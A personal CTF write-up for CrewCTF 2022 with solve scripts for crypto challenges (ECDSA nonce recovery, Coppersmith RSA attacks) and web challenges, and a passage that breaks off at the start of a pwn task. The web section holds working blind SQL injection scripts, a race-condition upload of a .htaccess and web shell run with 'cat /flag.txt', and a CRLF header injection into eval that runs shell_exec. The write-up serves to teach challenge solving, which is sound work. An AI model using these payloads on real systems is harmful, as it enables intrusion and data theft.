CrewCTF 2022 Writeup

Mon Apr 18 2022

    I participated CrewCTF 2022 by myself. The results were 24th/758.

    Here are my write-ups for challs I solved.

    crypto

    matdlp

    6 solves

    problem.sage
    FLAG = open('flag.txt', 'r').read().encode()
    
    p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
    m = 6
    
    import random
    from hashlib import sha256
    from Crypto.Cipher import AES
    from Crypto.Util import Padding
    
    K = GF(p)
    matspace = MatrixSpace(K, m)
    
    while(True):
        U = matspace.random_element()
        if U.determinant() != 0:
            break
    
    print('U={}'.format(U.list()))
    
    while(True):
        l1, l2, l3 = K.random_element(), K.random_element(), K.random_element()
        X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3])
        if U*X != X*U:
            break
    
    print('X={}'.format(X.list()))
    
    def genkey():
        t = random.randint(1, p-1)
        s = random.randint(1, p-1)
        Us = U**s
        privkey = (t, s)
        pubkey = Us * (X**t) * Us.inverse()
        return (privkey, pubkey)
    
    alicekey = genkey()
    bobkey = genkey()
    
    print('alice_pubkey={}'.format(alicekey[1].list()))
    print('bob_pubkey={}'.format(bobkey[1].list()))
    
    alice_Us = (U**alicekey[0][1])
    bob_Us = (U**bobkey[0][1])
    sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse()
    sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse()
    
    assert sharedkey_a == sharedkey_b
    
    aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()
    
    cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
    ciphertext = cipher.encrypt(Padding.pad(FLAG, 16))
    print('ciphertext=0x{}'.format(ciphertext.hex()))

    This is a challenge related to DH using matrices. We are given two base matrices X,UX, U and two public keys Puba=UsaXtaUsa,Pubb=UsbXtbUsbPub_a = U^{s_a} X^{t_a} U^{-s_a}, Pub_b = U^{s_b} X^{t_b} U^{-s_b} (let alice_pubkey, bob_pubkey be Puba,PubbPub_a, Pub_b). You should find private keys s,ts, t, or Us,XtU^s, X^t, to calculate sharedkey. It seems like a conjugacy search problem.

    I took two steps below to find sharedkey.

    • find tt
    • find UsU^s

    find tt The eigenvalues of XtX^t equal to the eigenvalues of XX to the power tt. On top of that, the eigenvalues of AA and BAB1BAB^{-1} are the same in general. Due to the properties above, the eigenvalues of PubPub equal to the eigenvalues of XX to the power tt. Therefore we can find tt by solving DLP, because p1p - 1 is a smooth number.

    order0 = X[0, 0].multiplicative_order()
    order1 = X[1, 1].multiplicative_order()
    order2 = X[3, 3].multiplicative_order()
    
    
    def find_t(pubkey):
        eigenvalues = pubkey.eigenvalues()
        tmp0 = eigenvalues[0].log(X[0, 0])
        tmp1 = eigenvalues[1].log(X[1, 1])
        tmp2 = eigenvalues[3].log(X[3, 3])
        t = crt([tmp0, tmp1, tmp2], [order0, order1, order2])
        return t
    
    
    ta = find_t(alice_pubkey)
    tb = find_t(bob_pubkey)

    find UsU^s I tried first to solve UsU^s directly. I defined Us=aijU^s = a_{ij} and solve PubUs=UsXtPub U^s = U^s X^t. But it failed possibly because aija_{ij} lacks information that it is UU to the power ss.

    To embed this information, I checked the characteristic polynomial of UU.

    sage: factor(U.charpoly())
    (x + 272156912070708902725843677542819583556667619603268850202634108624245601311771692742378899858810772332787126040705365519917638656618482092552423506234554591846471594622748509200598843905671422) * (x^5 + 155371083189422565269288233359448399667840697703600886722606579238132932391518274203205223547451492080432165522309976517064390115465996469027219303477376469238251468826608291798316822543456162*x^4 + 446753382480846116612393146760884954896121765071456225770279819858746245688380960364705867209066907602521303662237029022257593644622408423829343861316929069374186865583338945701913341346187234*x^3 + 76369017873880886583744573636703029579949354962100059238617674762095486442512233112266228068686561188798118781108370753062614496741029381039776887096361492171340174931842015041750530633077923*x^2 + 169838414808650870217114129164492603681348790521284629393131915612694041945967484393014350465542284542747172527757447691072675392371501332304797080004149690284049125468289443535532256793387693*x + 195293538849425528366183244789502263062210742639752849745671804494941444950329646833491144197025980136293117724127586794827053060018161405989795240061361737882403777125590806024627122823324175)

    This implies that UU can be transformed to a matrix JJ below by a certain PP:

    J=P1UP=(a00a01a02a03a04a050a11a12a13a14a150a21a22a23a24a250a31a32a33a34a350a41a42a43a44a450a51a52a53a54a55)J = P^{-1}UP = \left( \begin{array}{cccccc} a_{00} & a_{01} & a_{02} & a_{03} & a_{04} & a_{05} \\ 0 & a_{11} & a_{12} & a_{13} & a_{14} & a_{15} \\ 0 & a_{21} & a_{22} & a_{23} & a_{24} & a_{25} \\ 0 & a_{31} & a_{32} & a_{33} & a_{34} & a_{35} \\ 0 & a_{41} & a_{42} & a_{43} & a_{44} & a_{45} \\ 0 & a_{51} & a_{52} & a_{53} & a_{54} & a_{55} \end{array} \right)
    g = factor(U.charpoly())[0][0]
    e = -g[0]
    x = (U - e).right_kernel_matrix()[0]
    assert U * x == e * x
    P = matrix(GF(p), [x, [0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 1]]).transpose()
    assert (U * P[:, 0]).T.list() == (e * x).list()
    assert (~P)[0, 0] == x[0]**-1
    for i in range(1, 6):
        assert (~P)[i, 0] == -x[i] * x[0]**-1
    J = ~P * U * P
    for i in range(1, 6):
        assert J[i, 0] == 0

    So I could modify Pub=UsXtUsPub = U^s X^t U^{-s} into Pub=PJsP1XtPJsP1Pub = P J^s P^{-1} X^t P J^{-s} P^{-1}. Then I found JsJ^s by linear algebra and UsU^s.

    from hashlib import sha256
    from Crypto.Cipher import AES
    from Crypto.Util.number import long_to_bytes
    
    
    def to_list(x):
        mat = []
        for i in range(x.nrows()):
            row = []
            for j in range(x.ncols()):
                row.append(x[i, j])
            mat.append(row)
        return mat
    
    
    def matmul(x, y):
        mat = []
        assert len(x[0]) == len(y)
        K = len(x[0])
        for i in range(len(x)):
            row = []
            for j in range(len(y[0])):
                res = 0
                for k in range(K):
                    res += x[i][k] * y[k][j]
                row.append(res)
            mat.append(row)
        return mat
    
    
    PR = PolynomialRing(GF(p), names=[f"a{i}" for i in range(31)])
    a_list = list(PR.gens())
    Js = [
        a_list[:6],
        [0] + a_list[6:11],
        [0] + a_list[11:16],
        [0] + a_list[16:21],
        [0] + a_list[21:26],
        [0] + a_list[26:31],
    ]
    
    # ~P * pubkey * P * Js == Js * ~P * X**t * P
    lhs = matmul(to_list(~P * alice_pubkey * P), Js)
    rhs = matmul(Js, to_list(~P * X**ta * P))
    
    polys = []
    for i in range(6):
        for j in range(6):
            polys.append(lhs[i][j] - rhs[i][j])
    
    I = Ideal(polys)
    G = I.groebner_basis()
    a_list = []
    for i in range(len(G)):
        g = G[i]
        c = g.coefficients()[1]
        a_list.append(-c % p)
    a_list.append(1)
    
    Js = matrix(GF(p), [
        a_list[:6],
        [0] + a_list[6:11],
        [0] + a_list[11:16],
        [0] + a_list[16:21],
        [0] + a_list[21:26],
        [0] + a_list[26:31],
    ])
    assert J * ~P * X**ta * P * ~J == ~P * alice_pubkey * P
    Usa = P * J * ~P
    sharedkey_a = Usa * bob_pubkey ** ta * ~Usa
    
    aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()
    cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
    print(cipher.decrypt(long_to_bytes(ciphertext)))

    crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}

    signsystem

    8 solves

    server.py
    import sys
    import random
    from hashlib import sha256
    from Crypto.Util.number import inverse
    import ecdsa
    
    from secret import FLAG
    
    curve = ecdsa.curves.SECP112r1
    p = int(curve.curve.p())
    G = curve.generator
    n = int(curve.order)
    
    class SignSystem:
        def __init__(self):
            self.key = ecdsa.SigningKey.generate(curve=curve)
            self.nonce = [random.randint(1, n-1) for _ in range(112)]
    
        def sign(self, msg):
            e = int.from_bytes(sha256(msg).digest(), 'big') % n
            h = bin(e)[2:].zfill(112)
            k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
            r = int((k * G).x()) % n
            s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n
            return (int(r), int(s))
    
        def verify(self, msg, sig):
            (r, s) = sig
            e = int.from_bytes(sha256(msg).digest(), 'big')
            if s == 0:
                return False
            w = inverse(s, n)
            u1 = e*w % n
            u2 = r*w % n
            x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n
            return (r % n) == x1
    
    if __name__ == '__main__':
        HDR = 'Welcome to sign system.'
        print(HDR)
        MENU = "1:sign\n2:verify\n3:getflag\n"
        S = SignSystem()
        try:
            while(True):
                print('')
                print(MENU)
                i = int(input('>> '))
                if i == 1:
                    msghex = input('msg(hex): ')
                    sig = S.sign(bytes.fromhex(msghex))
                    print(f'signature: ({hex(sig[0])}, {hex(sig[1])})')
                elif i == 2:
                    msghex = input('msg(hex): ')
                    sig0hex = input('sig[0](hex): ')
                    sig1hex = input('sig[1](hex): ')
                    result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16)))
                    if result:
                        print('Verification success.')
                    else:
                        print('Verification failed.')
                elif i == 3:
                    target = random.randint(2**511, 2**512-1)
                    print(f'target: {hex(target)}')
                    sig0hex = input('sig[0](hex): ')
                    sig1hex = input('sig[1](hex): ')
                    result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16)))
                    if result:
                        print('OK, give you a flag.')
                        print(FLAG.decode())
                        break
                    else:
                        print('NG.')
                        break
        except KeyboardInterrupt:
            print('bye')
            sys.exit(0)
        except:
            print('error occured')
            sys.exit(-1)

    This is a challenge related to ECDSA. (I first tried s=ns = n since it doesn't check 0<s<n0 < s < n. But it failed.)

    Let SignSystem.nonce be NjN_j, i-th signature be ri,sir_i, s_i and i-th message hash be e(i)e^{(i)}. We can describe e(i)=j=0111cj(i)2111je^{(i)} = \sum_{j=0}^{111} c^{(i)}_j 2^{111-j}. Then jcj(i)Nj=si1e(i)+si1rid\sum_j c^{(i)}_j N_j = s_i^{-1} e^{(i)} + s_i^{-1} r_i d. Since we know cj(i),e(i),si,ric_j^{(i)}, e^{(i)}, s_i, r_i, we can find Nj,dN_j, d by linear algebra if we get more than or equal to 113 independent equations.

    solve.sage
    import random
    import re
    from hashlib import sha256
    
    from Crypto.Util.number import inverse, long_to_bytes
    from tqdm import tqdm
    from pwn import remote
    
    
    a = 4451685225093714772084598273548424
    b = 2061118396808653202902996166388514
    p = 4451685225093714772084598273548427
    EC = EllipticCurve(GF(p), [a, b])
    G = EC(188281465057972534892223778713752, 3419875491033170827167861896082688)
    n = int(4451685225093714776491891542548933)
    
    
    class SignSystem:
        def __init__(self):
            self.d = random.randint(1, n-1)
            self.nonce = [random.randint(1, n-1) for _ in range(112)]
    
        def sign(self, msg):
            e = int.from_bytes(sha256(msg).digest(), 'big') % n
            h = bin(e)[2:].zfill(112)
            k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
            r = int((int(k) * G).xy()[0]) % n
            s = inverse(k, n) * (e + r * self.d) % n
            return (int(r), int(s))
    
        def verify(self, msg, sig):
            (r, s) = sig
            e = int.from_bytes(sha256(msg).digest(), 'big')
            if s == 0:
                return False
            w = inverse(s, n)
            u1 = e*w % n
            u2 = r*w % n
            x1 = int((u1*G + u2*self.d*G).xy()[0]) % n
            return (r % n) == x1
    
    
    
    io = remote("signsystem.crewctf-2022.crewc.tf", 1337)
    
    
    def sign(msg):
        io.sendlineafter(b">> ", b"1")
        io.sendlineafter(b"msg(hex): ", msg.hex())
        ret = io.recvline().strip().decode()
        r, s = map(lambda x: int(x, 16), re.findall(r"signature: \((.*), (.*)\)", ret)[0])
        return r, s
    
    
    e_list = []
    h_list = []
    r_list = []
    s_list = []
    for i in tqdm(range(113)):
        msg = long_to_bytes(i)
        e = int.from_bytes(sha256(msg).digest(), 'big') % n
        h = bin(e)[2:].zfill(112)
        r, s = sign(msg)
        e_list.append(e)
        h_list.append(h)
        r_list.append(r)
        s_list.append(s)
    
    mat = matrix(GF(n), 113, 113)
    target = vector(GF(n), 113)
    for i in range(113):
        e = e_list[i]
        s = s_list[i]
        r = r_list[i]
        for j in range(112):
            mat[i, j] = int(h_list[i][j])
        mat[i, 112] = -pow(s, -1, n) * r
        target[i] = pow(s, -1, n) * e
    
    res = mat.solve_right(target)
    
    S = SignSystem()
    S.d = res.change_ring(ZZ).list()[-1]
    S.nonce = res.change_ring(ZZ).list()[:112]
    
    io.sendlineafter(b">> ", b"3")
    io.recvuntil(b"target: ")
    target = long_to_bytes(int(io.recvline().strip().decode(), 16))
    r, s = S.sign(target)
    io.sendlineafter(b"sig[0](hex): ", long_to_bytes(r).hex())
    io.sendlineafter(b"sig[1](hex): ", long_to_bytes(s).hex())
    print(io.recvline())
    print(io.recvline())
    io.close()

    crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}

    delta

    15 solves

    problem.py
    from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    from Crypto.Hash import SHA256
    from flag import FLAG
    
    key = RSA.generate(1024)
    p = key.p
    q = key.q
    n = key.n
    if p > q:
        p, q = q, p
    
    e = key.e
    cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256)
    c = bytes_to_long(cipher.encrypt(FLAG))
    
    delta = getRandomNBitInteger(64)
    x = p**2 + 1337*p + delta
    
    val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n
    
    print('n=' + str(n))
    print('e=' + str(e))
    print('c=' + str(c))
    print('val=' + str(val))

    Considering modp\mod p instead of modn\mod n, you can find that val is a cubic equation with regard to delta. Since delta is small enough, it can be calculated by Coppersmith's method.

    After delta is found, val can be described as a sixth degree equation with regard to pp. Since val equals to 00 in modp\mod p, the constant term of val should be a multiple of pp. Therefore you can find pp by calculating gcd of the constant and nn.

    solve.sage
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    from Crypto.Hash import SHA256
    from Crypto.Util.number import long_to_bytes
    
    
    n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663
    e = 65537
    c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100
    val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585
    
    
    PR.<delta> = PolynomialRing(Zmod(n))
    f = (pow(2,e,n)*(delta**3) + pow(3,e,n)*(delta**2) + pow(5,e,n)*delta + pow(7,e,n)) - val
    f = f.monic()
    delta = f.small_roots(beta=0.49, delta=1/3, epsilon=0.015)[0]
    
    PR.<p> = PolynomialRing(Zmod(n))
    x = p**2 + 1337*p + delta
    f = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) - val
    p = int(gcd(f[0], n))
    assert n % p == 0
    
    q = n // p
    e = 0x10001
    phi = (p - 1) * (q - 1)
    d = int(pow(e, -1, phi))
    rsa = RSA.construct((int(n), int(e), d))
    cipher = PKCS1_OAEP.new(key=rsa, hashAlgo=SHA256)
    cipher.decrypt(long_to_bytes(int(c)))

    crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}

    toydl

    36 solves

    We are given some pairs of g,h,xg, h, x such that gx=hmodng^x = h \mod n. If we can find factors of nn, we get a flag.

    I paid attention to 2x0=3modn2^{x_0} = 3 \mod n and 2x1=9modn2^{x_1} = 9 \mod n. This means that 22x0=2x1=9modn2^{2x_0} = 2^{x_1} = 9 \mod n. Then 2x0=x1modϕ(n)2x_0 = x_1 \mod \phi(n).

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    
    n = 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269
    c = 7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459
    
    """
    pow(2, x, n) = 3
    x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194
    pow(2, x, n) = 9
    x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390
    """
    phi = 2 * 4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 - 3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390
    assert phi < n
    e = 65537
    d = int(pow(e, -1, phi))
    long_to_bytes(int(pow(c, d, n)))

    crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}

    Malleable Metal

    57 solves

    chal.sage
    from Crypto.PublicKey import RSA
    from Crypto.Util.number import bytes_to_long
    import random
    import binascii
    from secret import flag
    
    e = 3
    BITSIZE =  8192
    key = RSA.generate(BITSIZE)
    n = key.n
    flag = bytes_to_long(flag)
    m = floor(BITSIZE/(e*e)) - 400
    assert (m < BITSIZE - len(bin(flag)[2:]))
    r1 = random.randint(1,pow(2,m))
    r2 = random.randint(r1,pow(2,m))
    msg1 = pow(2,m)*flag + r1
    msg2 = pow(2,m)*flag + r2
    C1 = Integer(pow(msg1,e,n))
    C2 = Integer(pow(msg2,e,n))
    print(f'{n = }\n{C1 = }\n{C2 = }')

    Since msg1 and msg2 is almost the same, you can decrypt it by Coppersmith’s Short Pad Attack and Franklin-Reiter Related Message Attack. The script refers to here.

    solve.sage
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    
    
    e = 3
    BITSIZE =  8192
    m = floor(BITSIZE/(e*e)) - 400
    
    
    def short_pad_attack(c1, c2, e, n):
        PRxy.<x,y> = PolynomialRing(Zmod(n))
        PRx.<xn> = PolynomialRing(Zmod(n))
        PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
        g1 = x^e - c1
        g2 = (x+y)^e - c2
        q1 = g1.change_ring(PRZZ)
        q2 = g2.change_ring(PRZZ)
        h = q2.resultant(q1)
        h = h.univariate_polynomial()
        h = h.change_ring(PRx).subs(y=xn)
        h = h.monic()
        kbits = n.nbits()//(2*e*e)
        diff = h.small_roots(X=2^m, beta=0.5)[0]
        return diff
    
    
    def related_message_attack(c1, c2, diff, e, n):
        PRx.<x> = PolynomialRing(Zmod(n))
        g1 = x^e - c1
        g2 = (x+diff)^e - c2
    
        def gcd(g1, g2):
            while g2:
                g1, g2 = g2, g1 % g2
            return g1.monic()
    
        return -gcd(g1, g2)[0]
    
    
    diff = short_pad_attack(C1, C2, e, n)
    m1 = related_message_attack(C1, C2, diff, e, n)
    long_to_bytes(int(int(m1) // 2**m))

    crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?}

    The HUGE e

    63 solves

    chall.py
    from Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrime
    from secret import flag
    
    m = bytes_to_long(flag)
    
    def getSpecialPrime():
        a = 2
        for i in range(40):
            a*=getPrime(20)
        while True:
            b = getPrime(20)
            if isPrime(a*b+1):
                return a*b+1
    
    
    p = getSpecialPrime()
    e1 = getPrime(128)
    e2 = getPrime(128)
    e3 = getPrime(128)
    
    e = pow(e1,pow(e2,e3))
    c = pow(m,e,p)
    
    assert pow(c,inverse(e,p-1),p) == m
    
    print(f'p = {p}')
    print(f'e1 = {e1}')
    print(f'e2 = {e2}')
    print(f'e3 = {e3}')
    print(f'c = {c}')

    Since pp is prime, pow(e1, ...) is calculated in modp1\mod p - 1. Then pow(e2, e3) should be calculated in modϕ(p1)\mod \phi(p - 1). p1p - 1 is very smooth and we can calculate ϕ(p1)\phi(p - 1) easily.

    solve.sage
    from Crypto.Util.number import long_to_bytes
    
    
    p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823
    e1 = 219560036291700924162367491740680392841
    e2 = 325829142086458078752836113369745585569
    e3 = 237262361171684477270779152881433264701
    c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613
    
    phi = 1
    for pi, e in factor(p - 1):
        assert e == 1
        phi *= pi - 1
    
    e2_e3 = Integer(pow(e2, e3, phi))
    e = int(pow(e1, e2_e3, p - 1))
    d = int(pow(e, -1, p - 1))
    m = int(pow(c, d, p))
    long_to_bytes(m)

    crew{7hi5_1s_4_5ma11er_numb3r_7han_7h3_Gr4ham_numb3r}

    ez-x0r

    249 solves

    Since we know the prefix of the flag, crew. xor(enc, "crew") is ffff, which implies that the flag is encrypted by xor-ing ffff....

    solve.py
    from base64 import b64decode
    from pwn import xor
    
    enc = b"BRQDER1VHDkeVhQ5BRQfFhIJGw=="
    xor(b64decode(enc), b"f")

    web

    Marvel Pick & Marvel Pick Again

    31 solves

    First I suspected that this challenge is related to NoSQL injection. So I tried some payloads like /api.php?character[$regex]=*, but it didn't work at all. After that I luckily found that /api.php?character=' broke something. This is a SQL injection challenge (I should have realized this ealier).

    After some experiments, I found something below:

    • some symbol characters are erased
    • /api.php?character=a' UNION SELECT 1,'1 returns 1
      • it returns the number of records
    • /api.php?character=a' UNION SELECT null,sql FROM sqlite_master WHERE name LIKE 'YOUR_INPUT%
      • DB is sqlite
      • there are two tables, character and flags
    • /api.php?character=a' UNION SELECT null,name FROM pragma_table_info('flags') WHERE name LIKE 'YOUR_INPUT%
      • there are some columns, id and value
    • /api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,YOUR_INPUT,1) > 'YOUR_INPUT
      • this reveals flag characters one by one

    Here is a script to get the flag.

    solve.py
    import json
    import requests
    
    url_template = "http://34.126.83.114:3390/api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,{idx},1) > '{c}"
    flag = "crew"
    for idx in range(len(flag), 100):
        for i in range(33, 128):
            c = chr(i)
            if c in " '#*&%-/;=":
                continue
            print(idx, c)
            tmp_url = url_template.format(c=c, idx=idx+1)
            r = requests.get(tmp_url)
            count = json.loads(r.text)["data"]["vote_count"]
            print(c, count)
            if count == 0:
                break
        flag += chr(i)
        print(flag)

    This works for two challenges. But I missed the second flag because I didn't realized the second challenge had been added and it was too late when I realized😢

    crew{so_its_n0t_on3_line_for_exp}

    crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

    Uploadz

    41 solves

    index.php
    <?php
     function create_temp_file($temp,$name){
        $file_temp = "storage/app/temp/".$name;
        copy($temp,$file_temp);
        
        return $file_temp;
      }
      function gen_uuid($length=6) {
        $keys = array_merge(range('a', 'z'), range('A', 'Z'));
        for($i=0; $i < $length; $i++) {
            $key .= $keys[array_rand($keys)];
            
        }
    
        return $key;
    }
      function move_upload($source,$des){
        $name = gen_uuid();
        $des = "storage/app/uploads/".$name.$des;
        copy($source,$des);
        sleep(1);// for loadblance and anti brute
        unlink($source);
        return $des;
      }
      if (isset($_FILES['uploadedFile']))
      {
        // get details of the uploaded file
        $fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
        $fileName = basename($_FILES['uploadedFile']['name']);
        $fileNameCmps = explode(".", $fileName);
        $fileExtension = strtolower(end($fileNameCmps));
        
    
    
       
        $dest_path = $uploadFileDir . $newFileName;
        $file_temp = create_temp_file($fileTmpPath, $fileName);
        echo "your file in ".move_upload($file_temp,$fileName);
        
      }
      if(isset($_GET["clear_cache"])){
        system("rm -r storage/app/uploads/*");
      }
    ?>
    <form action="/" method="post" enctype="multipart/form-data">
    Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload"> 
    <input type="submit" value="Upload Image" name="submit"> </form>

    The flag is at /flag.txt

    At first I suspected directory traversal. But it seemed difficult because they used basename. Next I tried uploading php file and execute it, but it didn't work because of the configuration of .htaccess.

    After some googling, I found that .htaccess can be put in each directory. It enables us to execute php. In this challenge, uploaded files are put into "storage/app/uploads/".$name.$des, where $name is random characters. It seems impossible to put .htaccess from a quick glance. But the files are temporaliry put into "storage/app/temp/".$name (1 second), where $name is uploaded file name. This means that we can put .htaccess at storage/app/temp/. I used .htaccess and a.shell from this writeup and accessed to /storage/app/temp/a.shell?cmd=cat /flag.txt.

    run.bash
    #/bin/bash
    python3 upload_htaccess.py &
    python3 upload_shell.py &
    for i in $(seq 1 10); do
        python3 exec.py &
    done
    
    upload_htaccess.py
    import requests
    
    url = "https://uploadz-web.crewctf-2022.crewc.tf/"
    
    fp = open(".htaccess", "rb")
    files = {"uploadedFile": fp}
    r = requests.post(url, files=files)
    print(r.text)
    fp.close()
    upload_shell.py
    import requests
    
    url = "https://uploadz-web.crewctf-2022.crewc.tf/"
    
    fp = open("a.shell", "rb")
    files = {"uploadedFile": fp}
    r = requests.post(url, files=files)
    print(r.text)
    fp.close()
    exec.py
    import requests
    
    url = "https://uploadz-web.crewctf-2022.crewc.tf"
    
    r = requests.get(url + "/storage/app/temp/a.shell?cmd=cat /flag.txt")
    print(r.text)

    crewctf{upload_rce_via_race}

    CuaaS

    90 solves

    index.php
    <html>
    	<head>
    		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
    		<title>CuaaS</title>
    		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    		<style type="text/css">
    	html, body, .container {
    		height: 100%;
    	}
    	.container {
    	    display: table;
    	    vertical-align: middle;
    	}
    	.vertical-center-row {
    	    display: table-cell;
    	    vertical-align: middle;
    	}
    		</style>
    	</head>
    
    	<body>
    		<center>
    	    <div class="container">
        		<div class="vertical-center-row">
    	   	 		<h1>Clean url as a Service</h1>
    	     		<form method="post">
    					<label class="sr-only" for="inlineFormInputGroupUsername2">Link</label>
    	 				 <div class="input-group mb-2 mr-sm-2 col-sm-5">
    	    				<div class="input-group-prepend">
    	      					<div class="input-group-text">URL</div>
    	    				</div>
    	    			<input type="text" class="form-control " id="inlineFormInputGroupUsername2" name="url" placeholder="https://www.example.tld/cleanmepls?name=joe&age=13&address=very-very-very-long-string">
    	  				</div>
    	    			<div class="col-auto">
    	      				<button type="submit" class="btn btn-primary mb-2">Clean</button>
    	    			</div>
    <?php
    if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
        {
            clean_and_send($_POST['url']);
        }
    
    	function clean_and_send($url){
    			$uncleanedURL = $url; // should be not used anymore
    			$values = parse_url($url);
    			$host = explode('/',$values['host']);
    			$query = $host[0];
    			$data = array('host'=>$query);
    			$cleanerurl = "http://127.0.0.1/cleaner.php";
       			$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
    			'method' => 'POST',
    			'header' => "X-Original-URL: $uncleanedURL",
    			'content' => http_build_query($data)
    			]
    			]));
        			echo $stream;
    											}
    
    
    ?>
    	     	</form>
    			</div>
    	    </div>
    	</center>
    	</body>
    
    
    </html>
    cleaner.php
    <?php
    
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    
    die("<img src='https://imgur.com/x7BCUsr.png'>");
    
    }
    
    
    echo "<br>There your cleaned url: ".$_POST['host'];
    echo "<br>Thank you For Using our Service!";
    
    
    function tryandeval($value){
                    echo "<br>How many you visited us ";
                    eval($value);
            }
    
    
    foreach (getallheaders() as $name => $value) {
    	if ($name == "X-Visited-Before"){
    		tryandeval($value);
    	}}
    ?>

    In cleaner.php, we can call any eval if we set header X-Visited-Before. php manual says we can set multiple headers by separating them with new lines in stream_context_create. I post url=http://localhost%0D%0AX-Visited-Before:echo shell_exec("ls -l /"); and found /maybethisistheflag. Then I post url=http://localhost%0D%0AX-Visited-Before:var_dump(file_get_contents("/maybethisistheflag")); and got the flag.

    crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}

    pwn

    Ubume

    60 solves

    checksec result:

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    Ghidra decompiler result:

    void main(void)
    
    {
      long in_FS_OFFSET;
      char local_228 [536];
